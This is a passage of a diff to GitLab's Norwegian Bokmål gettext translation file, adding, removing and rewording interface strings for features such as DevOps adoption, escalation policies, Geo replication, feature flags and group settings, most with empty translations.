+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr "Slett kommentar"
msgid "Delete domain"
msgstr "Slett domene"
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr "DevOps-rapport"
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr "Diff-grenser"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr "Vis kilden"
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr "Ikke inkluder beskrivelsen i commit-meldingen"
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "Ikke lim inn den private delen av GPG-nøkkelen. Lim inn den offentlige delen som begynner med ' -----BEGIN PGP PUBLIC KEY BLOCK-----'."
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Ikke vis igjen"
msgid "Done"
msgstr "Fullført"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Last ned"
@@ -11923,9 +11728,6 @@ msgstr "Rediger saker"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr "Redigert %{timeago}"
msgid "Editing"
msgstr "Redigerer"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr "E-post kunne ikke sendes"
msgid "Email display name"
msgstr "E-postvisningsnavn"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "E-post er ikke bekreftet. Vennligst bekreft din e-post i Salesforce."
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Skru på PlantUML"
@@ -12160,14 +11965,17 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
-msgstr "Skru på Seat Link"
+msgid "Enable Snowplow tracking"
+msgstr ""
msgid "Enable Spam Check via external API endpoint"
msgstr ""
@@ -12247,13 +12055,10 @@ msgstr "Skru på vedlikeholdsmodus"
msgid "Enable mirror configuration"
msgstr "Skru på speiloppsett"
-msgid "Enable or disable Seat Link."
-msgstr "Skru på eller skru av Seat Link."
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr "Skru på 2-trinnsautentisering"
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "Miljø"
@@ -12595,9 +12400,6 @@ msgstr "Lær mer om hvordan stoppe miljøer"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr "Behandlede apper"
-
msgid "Environments|More information"
msgstr "Mere informasjon"
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "Estimat"
@@ -13156,9 +12991,6 @@ msgstr "Filtrer etter wiki"
msgid "Events"
msgstr "Hendelser"
-msgid "Events in %{project_path}"
-msgstr "Hendelser i %{project_path}"
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr "Forventede dokumenter: %{expected_documents}"
msgid "Experienced"
msgstr "Erfaren"
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr "Utløpt:"
msgid "Expires"
msgstr "Utløper"
-msgid "Expires at"
-msgstr "Utløper på"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Alle miljøer)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (Alle miljøer)"
-
msgid "FeatureFlags|API URL"
msgstr "API-URL"
@@ -13814,9 +13631,6 @@ msgstr "Rediger brukerliste"
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr "Inaktiv"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "Beskyttet"
-
msgid "FeatureFlags|Remove"
msgstr "Fjern"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr "Sett Unleash-klientapplikasjonsnavnet til navnet på miljøet som applikasjonen kjører i. Denne verdien brukes til å samsvare med miljøomfang. Se %{linkStart}eksempelklientoppsettet%{linkEnd}."
@@ -13934,9 +13730,6 @@ msgstr "Status"
msgid "FeatureFlags|Strategies"
msgstr "Strategier"
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr "Filutforsker"
msgid "File deleted"
msgstr "Fil slettet"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr "Filnavn"
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr "Filtrer etter milepælnavn"
msgid "Filter by name"
msgstr "Filtrer etter navn"
-msgid "Filter by status"
-msgstr "Filtrer etter status"
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "For mer informasjon, gå til "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo-noder"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr "Geo-innstillinger"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Noden mislykkes eller er ødelagt."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr "Full"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab-versjon"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "GitLab-versjonen samsvarer ikke med primærnodeversjonen"
-
-msgid "GeoNodes|Health status"
-msgstr "Helsestatus"
-
-msgid "GeoNodes|Internal URL"
-msgstr "Intern URL"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Laster inn noder"
-
-msgid "GeoNodes|New node"
-msgstr "Ny node"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr "Node-URL"
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "Noden ble vellykket fjernet."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr "Nodens status ble oppdatert %{timeAgo}."
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr "Selektiv (%{syncLabel})"
-
-msgid "GeoNodes|Selective synchronization"
-msgstr "Selektiv synkronisering"
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Noe gikk galt under innhenting av noder"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Noe gikk galt under fjerning av node"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr "Synkroniser innstillinger"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Ubrukte plasser"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "Oppdatert %{timeAgo}"
-
-msgid "GeoNodes|Used slots"
-msgstr "Brukte plasser"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr "hovednode"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "sekundærnoder"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr "%{label} kan ikke være tom"
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Mislykket"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Filtrer etter status"
@@ -14845,9 +14500,6 @@ msgstr "Avventer synkronisering"
msgid "Geo|Pending verification"
msgstr "Venter verifikasjon"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Synkroniser på nytt"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr "Re-verifiser"
msgid "Geo|Reverify all"
msgstr "Re-verifiser alle"
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Synkronisering mislyktes - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr "Synkronisering av %{itemTitle} er deaktivert."
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr "GÃ¥ til utdragene dine"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Diagram"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15592,9 +15265,6 @@ msgstr "Gruppen %{group_name} ble planlagt for sletting."
msgid "Group %{group_name} was successfully created."
msgstr "Gruppen %{group_name} ble vellykket opprettet."
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Gruppe-Git-LFS-status:"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Gruppeavatar"
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "Gruppeoversikt"
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr "Gruppen ble eksportert"
msgid "Group was successfully updated."
msgstr "Gruppen ble vellykket oppdatert."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Gruppe: %{group_name}"
@@ -16051,18 +15718,15 @@ msgstr "Forhindre utgreining utenfor gruppen"
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr "Innstilling for forhindring av utgreining ble ikke lagret"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Forhindre deling av et prosjekt innenfor %{group} med andre grupper"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Denne innstillingen brukes på %{ancestor_group}. Hvis du vil dele prosj
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Denne innstillingen brukes på %{ancestor_group}. Du kan overstyre innstillingen eller %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Denne innstillingen vil bli brukt på alle undergrupper med mindre den overstyres av en gruppeeier. Grupper som allerede har tilgang til prosjektet, vil fortsette å ha tilgang med mindre de fjernes manuelt."
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Grupper"
msgid "Groups (%{count})"
msgstr "Grupper (%{count})"
-msgid "Groups (%{groups})"
-msgstr "Grupper (%{groups})"
-
msgid "Groups and projects"
msgstr "Grupper og prosjekter"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr "Overskrifter"
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr "Skjul delte prosjekter"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Skjul verdien"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "Hvordan det virker"
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr "Importer prosjektmedlemmer"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Importer prosjekter fra Bitbucket"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr "Upublisert"
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr "Sett inn bilde"
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "Sett inn forslag"
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr "Installer"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr "Installer i klynger"
msgid "Installation"
msgstr "Installasjon"
-msgid "Installed"
-msgstr "Installert"
-
-msgid "Installing"
-msgstr "Installerer"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instans"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr "Alle detaljer"
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr "Ugyldig brukernavn eller passord"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Ugyldig PIN-kode"
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
